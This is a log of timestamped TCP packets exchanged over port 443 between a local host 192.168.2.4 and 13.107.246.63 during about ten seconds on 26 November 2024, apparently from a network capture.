Nov 26, 2024 00:08:22.676171064 CET	49808	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.676189899 CET	443	49808	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.676281929 CET	49808	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.676548004 CET	49808	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.676558018 CET	443	49808	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.704021931 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.704085112 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.704335928 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.704406977 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.704412937 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.704433918 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.704438925 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.706701994 CET	49809	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.706722975 CET	443	49809	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.706808090 CET	49809	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.706916094 CET	49809	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.706927061 CET	443	49809	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.734587908 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.734633923 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.734714031 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.734966993 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.734966993 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.734980106 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.734987020 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.737154007 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.737164974 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.737257957 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.737365961 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.737373114 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.911361933 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.911783934 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.911814928 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.919378996 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.919384003 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:23.371776104 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:23.371860981 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:23.371953011 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:23.372149944 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:23.372159004 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:23.372179985 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:23.372184038 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:23.375411987 CET	49811	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:23.375437021 CET	443	49811	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:23.375521898 CET	49811	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:23.375718117 CET	49811	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:23.375730038 CET	443	49811	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.483746052 CET	443	49807	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.484462976 CET	49807	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.484488964 CET	443	49807	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.485069990 CET	49807	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.485078096 CET	443	49807	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.545033932 CET	443	49809	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.545388937 CET	49809	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.545411110 CET	443	49809	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.545775890 CET	49809	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.545782089 CET	443	49809	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.570241928 CET	443	49808	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.570660114 CET	49808	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.570681095 CET	443	49808	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.571039915 CET	49808	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.571044922 CET	443	49808	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.586714983 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.587097883 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.587110043 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.587387085 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.587389946 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.937854052 CET	443	49807	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.937908888 CET	443	49807	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.937975883 CET	49807	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.938174963 CET	49807	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.938175917 CET	49807	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.938220024 CET	443	49807	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.938260078 CET	443	49807	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.940495014 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.940543890 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.940633059 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.940774918 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:24.940807104 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:24.999874115 CET	443	49809	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.000035048 CET	443	49809	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.000206947 CET	49809	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.000206947 CET	49809	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.000206947 CET	49809	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.002861977 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.002887964 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.002991915 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.003148079 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.003159046 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.026022911 CET	443	49808	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.026063919 CET	443	49808	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.026124954 CET	49808	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.026248932 CET	49808	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.026259899 CET	443	49808	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.026289940 CET	49808	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.026294947 CET	443	49808	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.028131962 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.028177977 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.028275967 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.028394938 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.028440952 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.042459011 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.042506933 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.042690039 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.042690039 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.042690039 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.044437885 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.044446945 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.044517040 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.044645071 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.044652939 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.094891071 CET	443	49811	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.095351934 CET	49811	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.095365047 CET	443	49811	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.095693111 CET	49811	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.095699072 CET	443	49811	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.310389042 CET	49809	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.310400009 CET	443	49809	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.357261896 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.357270956 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.531374931 CET	443	49811	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.531455994 CET	443	49811	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.531533957 CET	49811	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.531970978 CET	49811	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.531985998 CET	443	49811	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.532005072 CET	49811	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.532010078 CET	443	49811	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.535379887 CET	49816	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.535473108 CET	443	49816	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:25.535649061 CET	49816	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.535943031 CET	49816	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:25.535979986 CET	443	49816	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:26.630975962 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:26.635113955 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:26.635137081 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:26.635555983 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:26.635561943 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:26.822726011 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:26.823375940 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:26.823854923 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:26.823889971 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:26.824340105 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:26.824347973 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:26.824572086 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:26.824580908 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:26.824925900 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:26.824932098 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:26.944999933 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:26.997919083 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.054306030 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.054323912 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.054861069 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.054864883 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.066864014 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.066936016 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.066999912 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.067270994 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.067291021 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.067302942 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.067308903 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.070811033 CET	49817	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.070849895 CET	443	49817	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.070928097 CET	49817	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.071074963 CET	49817	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.071088076 CET	443	49817	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.258709908 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.258769035 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.258832932 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.259665966 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.259685040 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.267525911 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.267587900 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.267631054 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.285832882 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.285844088 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.285856009 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.285862923 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.336906910 CET	49818	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.337002039 CET	443	49818	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.337409973 CET	49818	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.337882042 CET	49819	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.337914944 CET	443	49819	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.337991953 CET	49819	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.338587999 CET	49818	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.338627100 CET	443	49818	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.338901997 CET	49819	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.338916063 CET	443	49819	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.390662909 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.390742064 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.390824080 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.394957066 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.394975901 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.394989014 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.394993067 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.403621912 CET	49820	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.403644085 CET	443	49820	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.403712988 CET	49820	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.408384085 CET	49820	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.408400059 CET	443	49820	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.453591108 CET	443	49816	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.454143047 CET	49816	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.454171896 CET	443	49816	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.454828024 CET	49816	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.454840899 CET	443	49816	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.937762022 CET	443	49816	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.937829018 CET	443	49816	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.937890053 CET	49816	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.938077927 CET	49816	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.938077927 CET	49816	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.938118935 CET	443	49816	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.938142061 CET	443	49816	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.940676928 CET	49821	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.940722942 CET	443	49821	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:27.940793991 CET	49821	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.940902948 CET	49821	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:27.940921068 CET	443	49821	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.145658970 CET	443	49819	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.145859003 CET	443	49818	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.146290064 CET	49819	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.146308899 CET	443	49819	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.146729946 CET	49819	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.146734953 CET	443	49819	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.147017956 CET	49818	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.147069931 CET	443	49818	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.147392988 CET	49818	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.147407055 CET	443	49818	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.218168020 CET	443	49820	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.218485117 CET	49820	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.218502998 CET	443	49820	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.218872070 CET	49820	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.218878984 CET	443	49820	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.595881939 CET	443	49819	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.595890045 CET	443	49818	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.595946074 CET	443	49818	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.595956087 CET	443	49819	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.596009970 CET	49819	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.596014977 CET	49818	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.623792887 CET	49819	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.623806000 CET	443	49819	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.623819113 CET	49819	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.623830080 CET	443	49819	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.624608040 CET	49818	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.624608040 CET	49818	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.624653101 CET	443	49818	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.624697924 CET	443	49818	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.637455940 CET	49822	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.637506008 CET	443	49822	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.637801886 CET	49822	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.639410973 CET	49823	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.639437914 CET	443	49823	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.639491081 CET	49823	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.639667988 CET	49822	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.639689922 CET	443	49822	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.639931917 CET	49823	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.639942884 CET	443	49823	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.663858891 CET	443	49820	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.663901091 CET	443	49820	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.663957119 CET	49820	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.664089918 CET	49820	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.664104939 CET	443	49820	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.664120913 CET	49820	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.664128065 CET	443	49820	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.666050911 CET	49824	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.666085005 CET	443	49824	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.666193008 CET	49824	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.666320086 CET	49824	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.666331053 CET	443	49824	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.786658049 CET	443	49821	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.787100077 CET	49821	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.787111998 CET	443	49821	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:29.787539959 CET	49821	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:29.787545919 CET	443	49821	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:30.287389040 CET	443	49821	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:30.287575006 CET	443	49821	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:30.287692070 CET	49821	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:30.287822962 CET	49821	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:30.287838936 CET	443	49821	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:30.287847996 CET	49821	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:30.287853003 CET	443	49821	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:30.291485071 CET	49825	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:30.291520119 CET	443	49825	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:30.291579962 CET	49825	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:30.291733027 CET	49825	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:30.291745901 CET	443	49825	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.498826981 CET	443	49823	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.499403000 CET	49823	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.499429941 CET	443	49823	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.499963999 CET	49823	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.499969006 CET	443	49823	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.500338078 CET	443	49822	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.500643969 CET	49822	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.500657082 CET	443	49822	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.501063108 CET	49822	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.501070023 CET	443	49822	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.521398067 CET	443	49824	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.525342941 CET	49824	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.525362968 CET	443	49824	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.526252985 CET	49824	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.526258945 CET	443	49824	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.938208103 CET	443	49817	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.938935995 CET	49817	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.938956022 CET	443	49817	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.939409971 CET	49817	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.939416885 CET	443	49817	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.952480078 CET	443	49823	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.952533960 CET	443	49823	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.952689886 CET	49823	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.952810049 CET	49823	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.952826977 CET	443	49823	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.952832937 CET	49823	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.952838898 CET	443	49823	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.955604076 CET	443	49822	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.955667973 CET	443	49822	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.955790043 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.955817938 CET	49822	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.955823898 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.955924034 CET	49822	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.955924988 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.955924034 CET	49822	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.955943108 CET	443	49822	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.955959082 CET	443	49822	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.956068993 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.956079960 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.957968950 CET	49827	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.958008051 CET	443	49827	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.958100080 CET	49827	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.958221912 CET	49827	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.958234072 CET	443	49827	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.965667963 CET	443	49824	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.965713978 CET	443	49824	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.965858936 CET	49824	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.966008902 CET	49824	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.966021061 CET	443	49824	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.966032028 CET	49824	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.966036081 CET	443	49824	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.968074083 CET	49828	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.968182087 CET	443	49828	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:31.968348980 CET	49828	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.968467951 CET	49828	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:31.968508959 CET	443	49828	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:32.078458071 CET	443	49825	13.107.246.63	192.168.2.4
